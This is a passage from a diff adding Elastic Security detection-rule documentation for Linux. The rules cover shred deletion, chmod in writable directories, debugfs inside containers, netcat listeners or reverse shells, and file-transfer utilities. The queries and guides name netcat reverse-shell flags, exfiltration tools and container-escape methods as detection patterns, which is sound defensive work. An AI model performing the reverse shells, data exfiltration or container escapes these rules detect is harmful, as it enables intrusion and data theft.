exfiltration. +- Terminate any active `shred` processes that are not associated with legitimate applications like `logrotate` to halt ongoing file deletion. +- Conduct a thorough review of recent system logs and file access records to identify any additional malicious activities or files that may have been created or modified by the adversary. +- Restore any critical files that were deleted using `shred` from the most recent backup, ensuring the integrity and security of the backup source. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar environments to detect any future unauthorized use of `shred` or similar file deletion tools. +- Review and update endpoint security configurations to prevent unauthorized execution of file deletion commands by non-administrative users. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "shred" and ( +// Any short-flag cluster containing at least one of u/z, and containing no extra "-" after the first one +process.args regex~ "-[^-]*[uz][^-]*" or +process.args in ("--remove", "--zero") +) and +not process.parent.name == "logrotate" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-permission-modification-in-writable-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-permission-modification-in-writable-directory.asciidoc new file mode 100644 index 0000000000..ed66f9a6f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-permission-modification-in-writable-directory.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-file-permission-modification-in-writable-directory]] +=== File Permission Modification in Writable Directory + +Identifies file permission modifications in common writable directories by a non-root user. Adversaries often drop files or payloads into a writable directory and change permissions prior to execution. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Permission Modification in Writable Directory* + + +In Linux environments, writable directories like /tmp or /var/tmp are often used for temporary file storage. Adversaries exploit these by modifying file permissions to execute malicious payloads. The detection rule identifies non-root users altering permissions in these directories using commands like chmod or chown, excluding benign processes, to flag potential threats. This helps in identifying unauthorized permission changes indicative of defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the non-root user who executed the permission modification command (chattr, chgrp, chmod, or chown) in the specified writable directories (/dev/shm, /tmp, or /var/tmp). +- Examine the parent process of the detected command to determine if it is associated with any known malicious activity or if it deviates from typical user behavior, ensuring it is not one of the excluded benign processes (apt-key, update-motd-updates-available, apt-get). +- Investigate the specific file or directory whose permissions were altered to assess its legitimacy and check for any associated suspicious files or payloads. +- Analyze recent activities by the identified user to detect any other anomalous behavior or unauthorized access attempts that could indicate a broader compromise. +- Cross-reference the event with other security logs and alerts to identify any correlated incidents or patterns that might suggest a coordinated attack or persistent threat. + + +*False positive analysis* + + +- System updates and maintenance scripts may trigger permission changes in writable directories. Exclude processes like apt-key, update-motd-updates-available, and apt-get to reduce noise from legitimate system activities. +- Development and testing environments often involve frequent permission changes by non-root users. Consider excluding specific user accounts or processes known to be part of regular development workflows. +- Automated backup or synchronization tools might modify file permissions as part of their operations. Identify and exclude these tools if they are verified to be non-threatening. +- Custom scripts or applications that require permission changes for functionality should be reviewed and, if deemed safe, added to an exception list to prevent false alerts. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert that are associated with unauthorized permission changes. +- Revert any unauthorized file permission changes in the writable directories to their original state to prevent execution of malicious payloads. +- Conduct a thorough scan of the affected directories (/dev/shm, /tmp, /var/tmp) for any malicious files or payloads and remove them. +- Review user accounts and permissions to ensure that only authorized users have access to modify file permissions in sensitive directories. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for file permission changes in writable directories to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and event.category:process and event.type:"start" and event.action:"exec" and +process.name:("chattr" or "chgrp" or "chmod") and process.working_directory:("/dev/shm" or "/tmp" or "/var/tmp") and +not ( + process.args:( + "+r" or "640" or /tmp/apt-key-gpghome* or "/usr/bin/coreutils" or "/opt/eset/eei/uninstall.sh" or /tmp/era.repository.*.bin + ) or + process.parent.args:"/var/illumio_pce/illumio/scripts/consul" or + process.parent.name:( + apt-key or update-motd-updates-available or apt-get or java or pilot or PassengerAgent or nginx + ) or + process.parent.executable:( + "/usr/local/bin/afb-ssh-setup-keys.sh" or "/usr/local/bin/afb-ssh-setup-keys.sh" or "/opt/puppetlabs/puppet/bin/ruby" or + "/usr/sbin/update-exim4.conf" or "/bin/dracut" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-system-debugger-launched-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-system-debugger-launched-inside-a-container.asciidoc new file mode 100644 index 0000000000..a4476716df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-system-debugger-launched-inside-a-container.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-file-system-debugger-launched-inside-a-container]] +=== File System Debugger Launched Inside a Container + +This rule detects the use of the built-in Linux DebugFS utility from inside a container. DebugFS is a special file system debugging utility which supports reading and writing directly from a hard drive device. When launched inside a privileged container, a container deployed with all the capabilities of the host machine, an attacker can access sensitive host level files which could be used for further privilege escalation and container escapes to the host machine. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cyberark.wistia.com/medias/ygbzkzx93q?wvideo=ygbzkzx93q +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#privileged + +*Tags*: + +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File System Debugger Launched Inside a Container* + + +DebugFS is a Linux utility for direct file system manipulation, often used for debugging. In a privileged container, which has extensive access to the host, adversaries can exploit DebugFS to access sensitive host files, potentially leading to privilege escalation or container escape. The detection rule identifies suspicious DebugFS usage by monitoring process initiation with specific arguments in containers, flagging potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is "debugfs" and check the specific arguments used, particularly looking for "/dev/sd*" to identify potential access to host file systems. +- Verify the container's security context to ensure it is indeed privileged, as this increases the risk of host-level access. +- Investigate the origin of the container image and deployment configuration to determine if the use of a privileged container was intentional or necessary. +- Check the user or service account that initiated the process to assess if it aligns with expected behavior or if it indicates potential unauthorized access. +- Examine recent logs and events from the container and host to identify any unusual activities or patterns that coincide with the alert. +- Assess the potential impact by identifying any sensitive files or directories that may have been accessed or modified by the debugfs process. + + +*False positive analysis* + + +- Routine maintenance tasks using DebugFS in privileged containers can trigger alerts. To manage this, identify and document regular maintenance processes and create exceptions for these specific processes. +- Automated scripts or tools that utilize DebugFS for legitimate monitoring or debugging purposes may cause false positives. Review these scripts and whitelist them by excluding their specific process arguments or execution contexts. +- Development and testing environments often run privileged containers with DebugFS for debugging purposes. Establish a separate set of rules or exceptions for these environments to prevent unnecessary alerts. +- Backup or recovery operations that involve direct disk access might use DebugFS. Ensure these operations are well-documented and create exceptions based on their unique process signatures or execution schedules. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further access to sensitive host files. This can be done by stopping the container or removing its network access. +- Conduct a thorough review of the container's security context and capabilities to ensure it does not have unnecessary privileges. Adjust the container's configuration to remove privileged access if not required. +- Analyze the container's logs and process history to identify any unauthorized access or actions taken by the DebugFS utility. This will help determine the extent of the potential breach. +- If unauthorized access to host files is confirmed, perform a security assessment of the host system to identify any changes or breaches. This may include checking for new user accounts, modified files, or unexpected network connections. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. Provide them with all relevant logs and findings. +- Implement additional monitoring and alerting for similar activities across other containers and hosts to detect any recurrence of this threat. +- Review and update container deployment policies to enforce the principle of least privilege, ensuring containers only have the necessary permissions to perform their intended functions. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name == "debugfs" and +process.command_line like~ "/dev/sd*" and not process.args == "-R" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-transfer-or-listener-established-via-netcat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-transfer-or-listener-established-via-netcat.asciidoc new file mode 100644 index 0000000000..568639c910 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-transfer-or-listener-established-via-netcat.asciidoc @@ -0,0 +1,215 @@ +[[prebuilt-rule-8-19-20-file-transfer-or-listener-established-via-netcat]] +=== File Transfer or Listener Established via Netcat + +A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet +* https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf +* https://en.wikipedia.org/wiki/Netcat +* https://www.hackers-arise.com/hacking-fundamentals +* https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/ +* https://levelup.gitconnected.com/ethical-hacking-part-15-netcat-nc-and-netcat-f6a8f7df43fd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating File Transfer or Listener Established via Netcat* + + +Netcat is a dual-use command line tool that can be used for various purposes, such as port scanning, file transfers, and connection tests. Attackers can abuse its functionality for malicious purposes such creating bind shells or reverse shells to gain access to the target system. + +A reverse shell is a mechanism that's abused to connect back to an attacker-controlled system. It effectively redirects the system's input and output and delivers a fully functional remote shell to the attacker. Even private systems are vulnerable since the connection is outgoing. + +A bind shell is a type of backdoor that attackers set up on the target host and binds to a specific port to listen for an incoming connection from the attacker. + +This rule identifies potential reverse shell or bind shell activity using Netcat by checking for the execution of Netcat followed by a network connection. + + +*Possible investigation steps* + + +- Examine the command line to identify if the command is suspicious. +- Extract and examine the target domain or IP address. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - Scope other potentially compromised hosts in your environment by mapping hosts that also communicated with the domain or IP address. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. + + +*False positive analysis* + + +- Netcat is a dual-use tool that can be used for benign or malicious activity. It is included in some Linux distributions, so its presence is not necessarily suspicious. Some normal use of this program, while uncommon, may originate from scripts, automation tools, and frameworks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Block the identified indicators of compromise (IoCs). +- Take actions to terminate processes and connections used by the attacker. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("nc","ncat","netcat","netcat.openbsd","netcat.traditional") and +process.args like~ ( + /* bind shell to specific port or listener */ + "-*l*","-*p*", + /* reverse shell to command-line interpreter used for command execution */ + "-*e*", + /* file transfer via stdout/pipe */ + ">","<", "|" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Sub-technique: +** Name: Exfiltration Over Unencrypted Non-C2 Protocol +** ID: T1048.003 +** Reference URL: https://attack.mitre.org/techniques/T1048/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-transfer-utility-launched-from-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-transfer-utility-launched-from-unusual-parent.asciidoc new file mode 100644 index 0000000000..a693459d68 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-transfer-utility-launched-from-unusual-parent.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-20-file-transfer-utility-launched-from-unusual-parent]] +=== File Transfer Utility Launched from Unusual Parent + +This rule leverages ESQL to detect the execution of unusual file transfer utilities on Linux systems. Attackers may use these utilities to exfiltrate data from a compromised system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Transfer Utility Launched from Unusual Parent* + + +File transfer utilities like scp, ftp, and rsync are essential for data movement in Linux environments. However, adversaries can exploit these tools to exfiltrate sensitive data. The detection rule identifies suspicious executions of these utilities by monitoring process activities, focusing on rare occurrences and unique agent IDs, which may indicate unauthorized data transfers. This helps in early detection of potential data breaches. + + +*Possible investigation steps* + + +- Review the process.command_line field to understand the exact command executed and assess if it aligns with typical usage patterns or if it appears suspicious. +- Examine the process.parent.executable field to determine the parent process that initiated the file transfer utility, which may provide insights into whether the execution was part of a legitimate workflow or potentially malicious activity. +- Check the agent.id field to identify the specific host involved in the alert and correlate it with other security events or logs from the same host to gather additional context. +- Investigate the @timestamp field to verify the timing of the event and cross-reference with any known scheduled tasks or user activities that could explain the execution. +- Analyze the host.os.type field to confirm the operating system and ensure that the alert pertains to a Linux environment, as expected by the rule. + + +*False positive analysis* + + +- Routine administrative tasks using file transfer utilities may trigger alerts. Regularly scheduled backups or updates using scp, rsync, or ftp should be documented and excluded from alerts by creating exceptions for known scripts or cron jobs. +- Automated system updates or patches that utilize these utilities can be mistaken for suspicious activity. Identify and whitelist the processes and command lines associated with these updates to prevent false positives. +- Internal data transfers between trusted servers for legitimate business purposes might be flagged. Establish a list of trusted agent IDs and exclude them from the rule to avoid unnecessary alerts. +- Development and testing environments often use these utilities for transferring test data. Ensure that these environments are recognized and excluded by specifying their hostnames or IP addresses in the rule configuration. +- User-initiated file transfers for legitimate reasons, such as data analysis or reporting, can be misinterpreted. Educate users to notify the security team of such activities in advance, allowing for temporary exceptions to be made. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further data exfiltration and unauthorized access. +- Terminate any suspicious file transfer processes identified by the alert, such as scp, ftp, or rsync, to halt ongoing data transfers. +- Conduct a thorough review of the process command lines and parent executables to identify any malicious scripts or unauthorized software that initiated the file transfer. +- Change credentials and access keys associated with the compromised system to prevent further unauthorized access. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the extent of the breach and identify any additional compromised systems. +- Implement network monitoring to detect any further attempts of unauthorized file transfers or suspicious activities from the affected system. +- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and + process.name in ("scp", "ftp", "sftp", "vsftpd", "sftp-server", "rsync") and ( + (process.parent.name 